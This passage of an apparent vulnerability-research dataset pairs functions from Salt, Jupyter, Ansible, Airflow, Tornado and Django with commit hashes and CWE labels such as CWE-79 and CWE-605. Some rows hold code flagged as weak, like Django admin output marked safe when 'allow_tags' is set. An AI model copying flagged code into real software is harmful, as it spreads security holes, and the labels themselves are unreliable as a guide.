        ret[""status""] = result_status_code

    if headers is True:
        ret[""headers""] = result_headers

    if decode is True:
        if decode_type == ""auto"":
            content_type = result_headers.get(""content-type"", ""application/json"")
            if ""xml"" in content_type:
                decode_type = ""xml""
            elif ""json"" in content_type:
                decode_type = ""json""
            elif ""yaml"" in content_type:
                decode_type = ""yaml""
            else:
                decode_type = ""plain""

        valid_decodes = (""json"", ""xml"", ""yaml"", ""plain"")
        if decode_type not in valid_decodes:
            ret[
                ""error""
            ] = ""Invalid decode_type specified. Valid decode types are: {}"".format(
                pprint.pformat(valid_decodes)
            )
            log.error(ret[""error""])
            return ret

        if decode_type == ""json"":
            ret[""dict""] = salt.utils.json.loads(result_text)
        elif decode_type == ""xml"":
            ret[""dict""] = []
            items = ET.fromstring(result_text)
            for item in items:
                ret[""dict""].append(xml.to_dict(item))
        elif decode_type == ""yaml"":
            ret[""dict""] = salt.utils.data.decode(salt.utils.yaml.safe_load(result_text))
        else:
            text = True

        if decode_out:
            with salt.utils.files.fopen(decode_out, ""w"") as dof:
                dof.write(result_text)

    if text is True:
        ret[""text""] = result_text

    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/xen.py,0,"def _get_session():
    '''
    Get a connection to the XenServer host
    '''
    api_version = '1.0'
    originator = 'salt_cloud_{}_driver'.format(__virtualname__)
    url = config.get_cloud_config_value(
        'url',
        get_configured_provider(),
        __opts__,
        search_global=False
    )
    user = config.get_cloud_config_value(
        'user',
        get_configured_provider(),
        __opts__,
        search_global=False
    )
    password = config.get_cloud_config_value(
        'password',
        get_configured_provider(),
        __opts__,
        search_global=False
    )
    ignore_ssl = config.get_cloud_config_value(
        'ignore_ssl',
        get_configured_provider(),
        __opts__,
        default=False,
        search_global=False
    )
    session = XenAPI.Session(url, ignore_ssl=ignore_ssl)
    log.debug('url: {} user: {} password: {}, originator: {}'.format(
        url,
        user,
        'XXX-pw-redacted-XXX',
        originator))
    session.xenapi.login_with_password(user, password, api_version, originator)
    return session",,saltstack/salt,1664291f9a242de06fcf6d3bb89bf80ebedaa48f,"def _get_session():
    '''
    Get a connection to the XenServer host
    '''
    api_version = '1.0'
    originator = 'salt_cloud_{}_driver'.format(__virtualname__)
    url = config.get_cloud_config_value(
        'url',
        get_configured_provider(),
        __opts__,
        search_global=False
    )
    user = config.get_cloud_config_value(
        'user',
        get_configured_provider(),
        __opts__,
        search_global=False
    )
    password = config.get_cloud_config_value(
        'password',
        get_configured_provider(),
        __opts__,
        search_global=False
    )
    ignore_ssl = config.get_cloud_config_value(
        'ignore_ssl',
        get_configured_provider(),
        __opts__,
        default=False,
        search_global=False
    )
    session = XenAPI.Session(url,ignore_ssl=ignore_ssl)
    log.debug('url: {} user: {} password: {}, originator: {}'.format(
        url,
        user,
        'XXX-pw-redacted-XXX',
        originator))
    session.xenapi.login_with_password(user, password, api_version, originator)
    return session"
,UNKNOWN,UNKNOWN,salt/modules/vagrant.py,1,"def get_ssh_config(name, network_mask="""", get_private_key=False):
    r""""""
    Retrieve hints of how you might connect to a Vagrant VM.

    :param name: the salt_id of the machine
    :param network_mask: a CIDR mask to search for the VM's address
    :param get_private_key: (default: False) return the key used for ssh login
    :return: a dict of ssh login information for the VM

    CLI Example:

    .. code-block:: bash

        salt <host> vagrant.get_ssh_config <salt_id>
        salt my_laptop vagrant.get_ssh_config quail1 network_mask=10.0.0.0/8 get_private_key=True

    The returned dictionary contains:

    - key_filename:  the name of the private key file on the VM host computer
    - ssh_username:  the username to be used to log in to the VM
    - ssh_host:  the IP address used to log in to the VM.  (This will usually be `127.0.0.1`)
    - ssh_port:  the TCP port used to log in to the VM.  (This will often be `2222`)
    - \[ip_address:\]  (if `network_mask` is defined. see below)
    - \[private_key:\]  (if `get_private_key` is True) the private key for ssh_username

    About `network_mask`:

    Vagrant usually uses a redirected TCP port on its host computer to log in to a VM using ssh.
    This redirected port and its IP address are ""ssh_port"" and ""ssh_host"".  The ssh_host is
    usually the localhost (127.0.0.1).
    This makes it impossible for a third machine (such as a salt-cloud master) to contact the VM
    unless the VM has another network interface defined.  You will usually want a bridged network
    defined by having a `config.vm.network ""public_network""` statement in your `Vagrantfile`.

    The IP address of the bridged adapter will typically be assigned by DHCP and unknown to you,
    but you should be able to determine what IP network the address will be chosen from.
    If you enter a CIDR network mask, Salt will attempt to find the VM's address for you.
    The host machine will send an ""ifconfig"" command to the VM (using ssh to `ssh_host`:`ssh_port`)
    and return the IP address of the first interface it can find which matches your mask.
    """"""
    vm_ = get_vm_info(name)

    ssh_config = _vagrant_ssh_config(vm_)

    try:
        ans = {
            ""key_filename"": ssh_config[""IdentityFile""],
            ""ssh_username"": ssh_config[""User""],
            ""ssh_host"": ssh_config[""HostName""],
            ""ssh_port"": ssh_config[""Port""],
        }

    except KeyError:
        raise CommandExecutionError(
            ""Insufficient SSH information to contact VM {}. ""
            ""Is it running?"".format(vm_.get(""machine"", ""(default)""))
        )

    if network_mask:
        #  ask the new VM to report its network address
        command = (
            ""ssh -i {IdentityFile} -p {Port} ""
            ""-oStrictHostKeyChecking={StrictHostKeyChecking} ""
            ""-oUserKnownHostsFile={UserKnownHostsFile} ""
            ""-oControlPath=none ""
            ""{User}@{HostName} ifconfig"".format(**ssh_config)
        )

        log.info(
            ""Trying ssh -p %s %s@%s ifconfig"",
            ssh_config[""Port""],
            ssh_config[""User""],
            ssh_config[""HostName""],
        )
        reply = __salt__[""cmd.shell""](command)
        log.info(""--->\n%s"", reply)
        target_network_range = ipaddress.ip_network(network_mask, strict=False)

        for line in reply.split(""\n""):
            try:  # try to find a bridged network address
                # the lines we are looking for appear like:
                #    ""inet addr:10.124.31.185  Bcast:10.124.31.255  Mask:255.255.248.0""
                # or ""inet6 addr: fe80::a00:27ff:fe04:7aac/64 Scope:Link""
                tokens = line.replace(
                    ""addr:"", """", 1
                ).split()  # remove ""addr:"" if it exists, then split
                found_address = None
                if ""inet"" in tokens:
                    nxt = tokens.index(""inet"") + 1
                    found_address = ipaddress.ip_address(tokens[nxt])
                elif ""inet6"" in tokens:
                    nxt = tokens.index(""inet6"") + 1
                    found_address = ipaddress.ip_address(tokens[nxt].split(""/"")[0])
                if found_address in target_network_range:
                    ans[""ip_address""] = six.text_type(found_address)
                    break  # we have located a good matching address
            except (IndexError, AttributeError, TypeError):
                pass  # all syntax and type errors loop here
                # falling out if the loop leaves us remembering the last candidate
        log.info(
            ""Network IP address in %s detected as: %s"",
            target_network_range,
            ans.get(""ip_address"", ""(not found)""),
        )

    if get_private_key:
        # retrieve the Vagrant private key from the host
        try:
            with salt.utils.files.fopen(ssh_config[""IdentityFile""]) as pks:
                ans[""private_key""] = salt.utils.stringutils.to_unicode(pks.read())
        except (OSError, IOError) as e:
            raise CommandExecutionError(
                ""Error processing Vagrant private key file: {}"".format(e)
            )
    return ans",CWE-605,saltstack/salt,9261b3499643aec9416c8c96826d31d7ce5a1a1a,"def get_ssh_config(name, network_mask="""", get_private_key=False):
    r""""""
    Retrieve hints of how you might connect to a Vagrant VM.

    :param name: the salt_id of the machine
    :param network_mask: a CIDR mask to search for the VM's address
    :param get_private_key: (default: False) return the key used for ssh login
    :return: a dict of ssh login information for the VM

    CLI Example:

    .. code-block:: bash

        salt <host> vagrant.get_ssh_config <salt_id>
        salt my_laptop vagrant.get_ssh_config quail1 network_mask=10.0.0.0/8 get_private_key=True

    The returned dictionary contains:

    - key_filename:  the name of the private key file on the VM host computer
    - ssh_username:  the username to be used to log in to the VM
    - ssh_host:  the IP address used to log in to the VM.  (This will usually be `127.0.0.1`)
    - ssh_port:  the TCP port used to log in to the VM.  (This will often be `2222`)
    - \[ip_address:\]  (if `network_mask` is defined. see below)
    - \[private_key:\]  (if `get_private_key` is True) the private key for ssh_username

    About `network_mask`:

    Vagrant usually uses a redirected TCP port on its host computer to log in to a VM using ssh.
    This redirected port and its IP address are ""ssh_port"" and ""ssh_host"".  The ssh_host is
    usually the localhost (127.0.0.1).
    This makes it impossible for a third machine (such as a salt-cloud master) to contact the VM
    unless the VM has another network interface defined.  You will usually want a bridged network
    defined by having a `config.vm.network ""public_network""` statement in your `Vagrantfile`.

    The IP address of the bridged adapter will typically be assigned by DHCP and unknown to you,
    but you should be able to determine what IP network the address will be chosen from.
    If you enter a CIDR network mask, Salt will attempt to find the VM's address for you.
    The host machine will send an ""ifconfig"" command to the VM (using ssh to `ssh_host`:`ssh_port`)
    and return the IP address of the first interface it can find which matches your mask.
    """"""
    vm_ = get_vm_info(name)

    ssh_config = _vagrant_ssh_config(vm_)

    try:
        ans = {
            ""key_filename"": ssh_config[""IdentityFile""],
            ""ssh_username"": ssh_config[""User""],
            ""ssh_host"": ssh_config[""HostName""],
            ""ssh_port"": ssh_config[""Port""],
        }

    except KeyError:
        raise CommandExecutionError(
            ""Insufficient SSH information to contact VM {}. ""
            ""Is it running?"".format(vm_.get(""machine"", ""(default)""))
        )

    if network_mask:
        #  ask the new VM to report its network address
        command = (
            ""ssh -i {IdentityFile} -p {Port} ""
            ""-oStrictHostKeyChecking={StrictHostKeyChecking} ""
            ""-oUserKnownHostsFile={UserKnownHostsFile} ""
            ""-oControlPath=none ""
            ""{User}@{HostName} ifconfig"".format(**ssh_config)
        )

        log.info(""Trying ssh -p {Port} {User}@{HostName} ifconfig"".format(**ssh_config))
        reply = __salt__[""cmd.shell""](command)
        log.info(""--->\n%s"", reply)
        target_network_range = ipaddress.ip_network(network_mask, strict=False)

        for line in reply.split(""\n""):
            try:  # try to find a bridged network address
                # the lines we are looking for appear like:
                #    ""inet addr:10.124.31.185  Bcast:10.124.31.255  Mask:255.255.248.0""
                # or ""inet6 addr: fe80::a00:27ff:fe04:7aac/64 Scope:Link""
                tokens = line.replace(
                    ""addr:"", """", 1
                ).split()  # remove ""addr:"" if it exists, then split
                found_address = None
                if ""inet"" in tokens:
                    nxt = tokens.index(""inet"") + 1
                    found_address = ipaddress.ip_address(tokens[nxt])
                elif ""inet6"" in tokens:
                    nxt = tokens.index(""inet6"") + 1
                    found_address = ipaddress.ip_address(tokens[nxt].split(""/"")[0])
                if found_address in target_network_range:
                    ans[""ip_address""] = six.text_type(found_address)
                    break  # we have located a good matching address
            except (IndexError, AttributeError, TypeError):
                pass  # all syntax and type errors loop here
                # falling out if the loop leaves us remembering the last candidate
        log.info(
            ""Network IP address in %s detected as: %s"",
            target_network_range,
            ans.get(""ip_address"", ""(not found)""),
        )

    if get_private_key:
        # retrieve the Vagrant private key from the host
        try:
            with salt.utils.files.fopen(ssh_config[""IdentityFile""]) as pks:
                ans[""private_key""] = salt.utils.stringutils.to_unicode(pks.read())
        except (OSError, IOError) as e:
            raise CommandExecutionError(
                ""Error processing Vagrant private key file: {}"".format(e)
            )
    return ans"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/tests/selenium/utils.py,0,"def wait_for_stale_cell(self, cell):
        """""" This is needed to switch a cell's mode and refocus it, or to render it.

        Warning: there is currently no way to do this when changing between 
        markdown and raw cells.
        """"""
        wait = WebDriverWait(self.browser, 10)
        element = wait.until(EC.staleness_of(cell))",,jupyter/notebook,02e0ac38a483fb4a045c9122bb49a5daf194426e,"def wait_for_stale_cell(self, cell):
        """""" This is needed to switch a cell's mode and refocus it, or to render it.

        Warning: there is currently no way to do this when changing between 
        markdown and raw cells.
        """"""
        wait = WebDriverWait(self.browser, 10)
        element = wait.until(EC.staleness_of(cell))"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_internal/classification/__init__.py,0,"def _classify_ansible(self, path: str) -> t.Optional[dict[str, str]]:
        """"""Return the classification for the given path using rules specific to Ansible.""""""
        dirname = os.path.dirname(path)
        filename = os.path.basename(path)
        name, ext = os.path.splitext(filename)

        minimal: dict[str, str] = {}

        packaging = {
            'integration': 'packaging/',
        }

        # Early classification that needs to occur before common classification belongs here.

        if path.startswith('test/units/compat/'):
            return {
                'units': 'test/units/',
            }

        if dirname == '.azure-pipelines/commands':
            test_map = {
                'cloud.sh': 'integration:cloud/',
                'linux.sh': 'integration:all',
                'network.sh': 'network-integration:all',
                'remote.sh': 'integration:all',
                'sanity.sh': 'sanity:all',
                'units.sh': 'units:all',
                'windows.sh': 'windows-integration:all',
            }

            test_match = test_map.get(filename)

            if test_match:
                test_command, test_target = test_match.split(':')

                return {
                    test_command: test_target,
                }

            cloud_target = f'cloud/{name}/'

            if cloud_target in self.integration_targets_by_alias:
                return {
                    'integration': cloud_target,
                }

        # Classification common to both ansible and collections.

        result = self._classify_common(path)

        if result is not None:
            return result

        # Classification here is specific to ansible, and runs after common classification.

        if path.startswith('bin/'):
            return all_tests(self.args)  # broad impact, run all tests

        if path.startswith('changelogs/'):
            return minimal

        if path.startswith('docs/'):
            return minimal

        if path.startswith('examples/'):
            if path == 'examples/scripts/ConfigureRemotingForAnsible.ps1':
                return {
                    'windows-integration': 'connection_winrm',
                }

            return minimal

        if path.startswith('hacking/'):
            return minimal

        if path.startswith('lib/ansible/executor/powershell/'):
            units_path = 'test/units/executor/powershell/'

            if units_path not in self.units_paths:
                units_path = None

            return {
                'windows-integration': self.integration_all_target,
                'units': units_path,
            }

        if path.startswith('lib/ansible/'):
            return all_tests(self.args)  # broad impact, run all tests

        if path.startswith('licenses/'):
            return minimal

        if path.startswith('packaging/'):
            if path.startswith('packaging/pep517_backend/'):
                return packaging

            return minimal

        if path.startswith('test/ansible_test/'):
            return minimal  # these tests are not invoked from ansible-test

        if path.startswith('test/lib/ansible_test/config/'):
            if name.startswith('cloud-config-'):
                cloud_target = 'cloud/%s/' % name.split('-')[2].split('.')[0]

                if cloud_target in self.integration_targets_by_alias:
                    return {
                        'integration': cloud_target,
                    }

        if path.startswith('test/lib/ansible_test/_data/completion/'):
            if path == 'test/lib/ansible_test/_data/completion/docker.txt':
                return all_tests(self.args, force=True)  # force all tests due to risk of breaking changes in new test environment

        if path.startswith('test/lib/ansible_test/_internal/commands/integration/cloud/'):
            cloud_target = 'cloud/%s/' % name

            if cloud_target in self.integration_targets_by_alias:
                return {
                    'integration': cloud_target,
                }

            return all_tests(self.args)  # test infrastructure, run all tests

        if path.startswith('test/lib/ansible_test/_internal/commands/sanity/'):
            return {
                'sanity': 'all',  # test infrastructure, run all sanity checks
                'integration': 'ansible-test/',  # run ansible-test self tests
            }

        if path.startswith('test/lib/ansible_test/_internal/commands/units/'):
            return {
                'units': 'all',  # test infrastructure, run all unit tests
                'integration': 'ansible-test/',  # run ansible-test self tests
            }

        if path.startswith('test/lib/ansible_test/_data/requirements/'):
            if name in (
                'integration',
                'network-integration',
                'windows-integration',
            ):
                return {
                    name: self.integration_all_target,
                }

            if name in (
                'sanity',
                'units',
            ):
                return {
                    name: 'all',
                }

        if path.startswith('test/lib/ansible_test/_util/controller/sanity/') or path.startswith('test/lib/ansible_test/_util/target/sanity/'):
            return {
                'sanity': 'all',  # test infrastructure, run all sanity checks
                'integration': 'ansible-test/',  # run ansible-test self tests
            }

        if path.startswith('test/lib/ansible_test/_util/target/pytest/'):
            return {
                'units': 'all',  # test infrastructure, run all unit tests
                'integration': 'ansible-test/',  # run ansible-test self tests
            }

        if path.startswith('test/lib/'):
            return all_tests(self.args)  # test infrastructure, run all tests

        if path.startswith('test/support/'):
            return all_tests(self.args)  # test infrastructure, run all tests

        if '/' not in path:
            if path in (
                '.gitattributes',
                '.gitignore',
                '.mailmap',
                'COPYING',
                'Makefile',
            ):
                return minimal

            if path in (
                'MANIFEST.in',
                'pyproject.toml',
                'requirements.txt',
                'setup.cfg',
                'setup.py',
            ):
                return packaging

            if ext in (
                '.md',
                '.rst',
            ):
                return minimal

        return None",,ansible/ansible,fb76b9e8a4cb378d65cd8fc7dead7a66f4863292,"def _classify_ansible(self, path: str) -> t.Optional[dict[str, str]]:
        """"""Return the classification for the given path using rules specific to Ansible.""""""
        dirname = os.path.dirname(path)
        filename = os.path.basename(path)
        name, ext = os.path.splitext(filename)

        minimal: dict[str, str] = {}

        # Early classification that needs to occur before common classification belongs here.

        if path.startswith('test/units/compat/'):
            return {
                'units': 'test/units/',
            }

        if dirname == '.azure-pipelines/commands':
            test_map = {
                'cloud.sh': 'integration:cloud/',
                'linux.sh': 'integration:all',
                'network.sh': 'network-integration:all',
                'remote.sh': 'integration:all',
                'sanity.sh': 'sanity:all',
                'units.sh': 'units:all',
                'windows.sh': 'windows-integration:all',
            }

            test_match = test_map.get(filename)

            if test_match:
                test_command, test_target = test_match.split(':')

                return {
                    test_command: test_target,
                }

            cloud_target = f'cloud/{name}/'

            if cloud_target in self.integration_targets_by_alias:
                return {
                    'integration': cloud_target,
                }

        # Classification common to both ansible and collections.

        result = self._classify_common(path)

        if result is not None:
            return result

        # Classification here is specific to ansible, and runs after common classification.

        if path.startswith('bin/'):
            return all_tests(self.args)  # broad impact, run all tests

        if path.startswith('changelogs/'):
            return minimal

        if path.startswith('docs/'):
            return minimal

        if path.startswith('examples/'):
            if path == 'examples/scripts/ConfigureRemotingForAnsible.ps1':
                return {
                    'windows-integration': 'connection_winrm',
                }

            return minimal

        if path.startswith('hacking/'):
            return minimal

        if path.startswith('lib/ansible/executor/powershell/'):
            units_path = 'test/units/executor/powershell/'

            if units_path not in self.units_paths:
                units_path = None

            return {
                'windows-integration': self.integration_all_target,
                'units': units_path,
            }

        if path.startswith('lib/ansible/'):
            return all_tests(self.args)  # broad impact, run all tests

        if path.startswith('licenses/'):
            return minimal

        if path.startswith('packaging/'):
            return minimal

        if path.startswith('test/ansible_test/'):
            return minimal  # these tests are not invoked from ansible-test

        if path.startswith('test/lib/ansible_test/config/'):
            if name.startswith('cloud-config-'):
                cloud_target = 'cloud/%s/' % name.split('-')[2].split('.')[0]

                if cloud_target in self.integration_targets_by_alias:
                    return {
                        'integration': cloud_target,
                    }

        if path.startswith('test/lib/ansible_test/_data/completion/'):
            if path == 'test/lib/ansible_test/_data/completion/docker.txt':
                return all_tests(self.args, force=True)  # force all tests due to risk of breaking changes in new test environment

        if path.startswith('test/lib/ansible_test/_internal/commands/integration/cloud/'):
            cloud_target = 'cloud/%s/' % name

            if cloud_target in self.integration_targets_by_alias:
                return {
                    'integration': cloud_target,
                }

            return all_tests(self.args)  # test infrastructure, run all tests

        if path.startswith('test/lib/ansible_test/_internal/commands/sanity/'):
            return {
                'sanity': 'all',  # test infrastructure, run all sanity checks
                'integration': 'ansible-test/',  # run ansible-test self tests
            }

        if path.startswith('test/lib/ansible_test/_internal/commands/units/'):
            return {
                'units': 'all',  # test infrastructure, run all unit tests
                'integration': 'ansible-test/',  # run ansible-test self tests
            }

        if path.startswith('test/lib/ansible_test/_data/requirements/'):
            if name in (
                'integration',
                'network-integration',
                'windows-integration',
            ):
                return {
                    name: self.integration_all_target,
                }

            if name in (
                'sanity',
                'units',
            ):
                return {
                    name: 'all',
                }

        if path.startswith('test/lib/ansible_test/_util/controller/sanity/') or path.startswith('test/lib/ansible_test/_util/target/sanity/'):
            return {
                'sanity': 'all',  # test infrastructure, run all sanity checks
                'integration': 'ansible-test/',  # run ansible-test self tests
            }

        if path.startswith('test/lib/ansible_test/_util/target/pytest/'):
            return {
                'units': 'all',  # test infrastructure, run all unit tests
                'integration': 'ansible-test/',  # run ansible-test self tests
            }

        if path.startswith('test/lib/'):
            return all_tests(self.args)  # test infrastructure, run all tests

        if path.startswith('test/support/'):
            return all_tests(self.args)  # test infrastructure, run all tests

        if '/' not in path:
            if path in (
                '.gitattributes',
                '.gitignore',
                '.mailmap',
                'COPYING',
                'Makefile',
            ):
                return minimal

            if path in (
                    'setup.py',
            ):
                return all_tests(self.args)  # broad impact, run all tests

            if ext in (
                '.in',
                '.md',
                '.rst',
                '.toml',
                '.txt',
            ):
                return minimal

        return None"
,UNKNOWN,UNKNOWN,providers/tests/cncf/kubernetes/executors/test_kubernetes_executor.py,1,"def test_change_state_adopted(self, mock_delete_pod, mock_get_kube_client, mock_kubernetes_job_watcher):
        executor = self.kubernetes_executor
        executor.start()
        try:
            key = (""dag_id"", ""task_id"", ""run_id"", ""try_number2"")
            executor.running = {key}
            executor._change_state(key, ADOPTED, ""pod_name"", ""default"")
            assert len(executor.event_buffer) == 0
            assert len(executor.running) == 0
            mock_delete_pod.assert_not_called()
        finally:
            executor.end()",CWE-703,apache/airflow,a052d9eebe3e7cd601c0718a4e48dbeff87deaaf,"def test_change_state_adopted(self, mock_delete_pod, mock_get_kube_client, mock_kubernetes_job_watcher):
        executor = self.kubernetes_executor
        executor.start()
        try:
            key = (""dag_id"", ""task_id"", ""run_id"", ""try_number2"")
            executor.running = {key}
            executor._change_state(key, ADOPTED, ""pod_name"", ""default"")
            assert len(executor.event_buffer) == 0
            assert len(executor.running) == 0
            mock_delete_pod.assert_not_called()
        finally:
            executor.end()"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/asyncio_test.py,0,"def run_policy_test(self, accessor, expected_type):
        # With the default policy, non-main threads don't get an event
        # loop.
        self.assertRaises((RuntimeError, AssertionError),
                          self.executor.submit(accessor).result)
        # Set the policy and we can get a loop.
        asyncio.set_event_loop_policy(AnyThreadEventLoopPolicy())
        self.assertIsInstance(
            self.executor.submit(accessor).result(),
            expected_type)
        # Clean up to silence leak warnings. Always use asyncio since
        # IOLoop doesn't (currently) close the underlying loop.
        self.executor.submit(lambda: asyncio.get_event_loop().close()).result()",CWE-Unknown,tornadoweb/tornado,597637168e6b20cfab2065f186ee1fbc0351dc42,"def run_policy_test(self, accessor, expected_type):
        # With the default policy, non-main threads don't get an event
        # loop.
        self.assertRaises(RuntimeError,
                          self.executor.submit(accessor).result)
        # Set the policy and we can get a loop.
        asyncio.set_event_loop_policy(AnyThreadEventLoopPolicy())
        self.assertIsInstance(
            self.executor.submit(accessor).result(),
            expected_type)
        # Clean up to silence leak warnings. Always use asyncio since
        # IOLoop doesn't (currently) close the underlying loop.
        self.executor.submit(lambda: asyncio.get_event_loop().close()).result()"
,UNKNOWN,UNKNOWN,django/contrib/admin/helpers.py,1,"def contents(self):
        from django.contrib.admin.templatetags.admin_list import _boolean_icon
        from django.contrib.admin.views.main import EMPTY_CHANGELIST_VALUE
        field, obj, model_admin = self.field['field'], self.form.instance, self.model_admin
        try:
            f, attr, value = lookup_field(field, obj, model_admin)
        except (AttributeError, ValueError, ObjectDoesNotExist):
            result_repr = EMPTY_CHANGELIST_VALUE
        else:
            if f is None:
                boolean = getattr(attr, ""boolean"", False)
                if boolean:
                    result_repr = _boolean_icon(value)
                else:
                    result_repr = smart_text(value)
                    if getattr(attr, ""allow_tags"", False):
                        result_repr = mark_safe(result_repr)
                    else:
                        result_repr = linebreaksbr(result_repr)
            else:
                if isinstance(getattr(f, 'rel', None), ManyToManyRel) and value is not None:
                    result_repr = "", "".join(map(six.text_type, value.all()))
                else:
                    result_repr = display_for_field(value, f)
                result_repr = linebreaksbr(result_repr)
        return conditional_escape(result_repr)",CWE-79,django/django,8502e9f04974660c80efc74f6e60ed566b3f52b3,"def contents(self):
        from django.contrib.admin.templatetags.admin_list import _boolean_icon
        from django.contrib.admin.views.main import EMPTY_CHANGELIST_VALUE
        field, obj, model_admin = self.field['field'], self.form.instance, self.model_admin
        try:
            f, attr, value = lookup_field(field, obj, model_admin)
        except (AttributeError, ValueError, ObjectDoesNotExist):
            result_repr = EMPTY_CHANGELIST_VALUE
        else:
            if f is None:
                boolean = getattr(attr, ""boolean"", False)
                if boolean:
                    result_repr = _boolean_icon(value)
                else:
                    result_repr = smart_text(value)
                    if getattr(attr, ""allow_tags"", False):
                        result_repr = mark_safe(result_repr)
                    else:
                        result_repr = linebreaksbr(result_repr)
            else:
                if isinstance(f.rel, ManyToManyRel) and value is not None:
                    result_repr = "", "".join(map(six.text_type, value.all()))
                else:
                    result_repr = display_for_field(value, f)
                result_repr = linebreaksbr(result_repr)
        return conditional_escape(result_repr)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/auth/security.py,0,"def persist_config(config_file=None, mode=0o600):
    """"""Context manager that can be used to modify a config object

    On exit of the context manager, the config will be written back to disk, 
    by default with user-only (600) permissions.
    """"""

    if config_file is None:
        config_file = os.path.join(jupyter_config_dir(), 'jupyter_notebook_config.json')

    os.makedirs(os.path.dirname(config_file), exist_ok=True)

    loader = JSONFileConfigLoader(os.path.basename(config_file), os.path.dirname(config_file))
    try:
        config = loader.load_config()
    except ConfigFileNotFound:
        config = Config()

    yield config

    with io.open(config_file, 'w', encoding='utf8') as f:
        f.write(cast_unicode(json.dumps(config, indent=2)))

    try:
        os.chmod(config_file, mode)
    except Exception as e:
        tb = traceback.format_exc()
        warnings.warn(""Failed to set permissions on %s:\n%s"" % (config_file, tb),
            RuntimeWarning)",,jupyter/notebook,806904c0f9701fcee9281d97b20f69f9d2350896,"def persist_config(config_file=None, mode=0o600):
    """"""Context manager that can be used to modify a config object

    On exit of the context manager, the config will be written back to disk, 
    by default with user-only (600) permissions.
    """"""

    if config_file is None:
        config_file = os.path.join(jupyter_config_dir(), 'jupyter_notebook_config.json')

    loader = JSONFileConfigLoader(os.path.basename(config_file), os.path.dirname(config_file))
    try:
        config = loader.load_config()
    except ConfigFileNotFound:
        config = Config()

    yield config

    with io.open(config_file, 'w', encoding='utf8') as f:
        f.write(cast_unicode(json.dumps(config, indent=2)))

    try:
        os.chmod(config_file, mode)
    except Exception as e:
        tb = traceback.format_exc()
        warnings.warn(""Failed to set permissions on %s:\n%s"" % (config_file, tb),
            RuntimeWarning)"
,UNKNOWN,UNKNOWN,tests/core/test_core.py,1,"def test_externally_triggered_dagrun(self, dag_maker):
        TI = TaskInstance

        # Create the dagrun between two ""scheduled"" execution dates of the DAG
        execution_date = DEFAULT_DATE + timedelta(days=2)
        execution_ds = execution_date.strftime(""%Y-%m-%d"")
        execution_ds_nodash = execution_ds.replace(""-"", """")

        with dag_maker(schedule=timedelta(weeks=1), serialized=True):
            task = EmptyOperator(task_id=""test_externally_triggered_dag_context"")
        dr = dag_maker.create_dagrun(
            run_type=DagRunType.SCHEDULED,
            execution_date=execution_date,
            external_trigger=True,
        )
        task.run(start_date=execution_date, end_date=execution_date)

        ti = TI(task=task, run_id=dr.run_id)
        ti.refresh_from_db()
        context = ti.get_template_context()

        # next_ds should be the execution date for manually triggered runs
        with pytest.deprecated_call():
            assert context[""next_ds""] == execution_ds
        with pytest.deprecated_call():
            assert context[""next_ds_nodash""] == execution_ds_nodash",CWE-703,apache/airflow,daccc75b064c735636027b20f3edb82da69ffab1,"def test_externally_triggered_dagrun(self, dag_maker):
        TI = TaskInstance

        # Create the dagrun between two ""scheduled"" execution dates of the DAG
        execution_date = DEFAULT_DATE + timedelta(days=2)
        execution_ds = execution_date.strftime(""%Y-%m-%d"")
        execution_ds_nodash = execution_ds.replace(""-"", """")

        with dag_maker(schedule=timedelta(weeks=1), serialized=True):
            task = EmptyOperator(task_id=""test_externally_triggered_dag_context"")
        dr = dag_maker.create_dagrun(
            run_type=DagRunType.SCHEDULED,
            execution_date=execution_date,
            external_trigger=True,
        )
        task.run(start_date=execution_date, end_date=execution_date)

        ti = TI(task=task, run_id=dr.run_id)
        context = ti.get_template_context()

        # next_ds should be the execution date for manually triggered runs
        with pytest.deprecated_call():
            assert context[""next_ds""] == execution_ds
        with pytest.deprecated_call():
            assert context[""next_ds_nodash""] == execution_ds_nodash"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

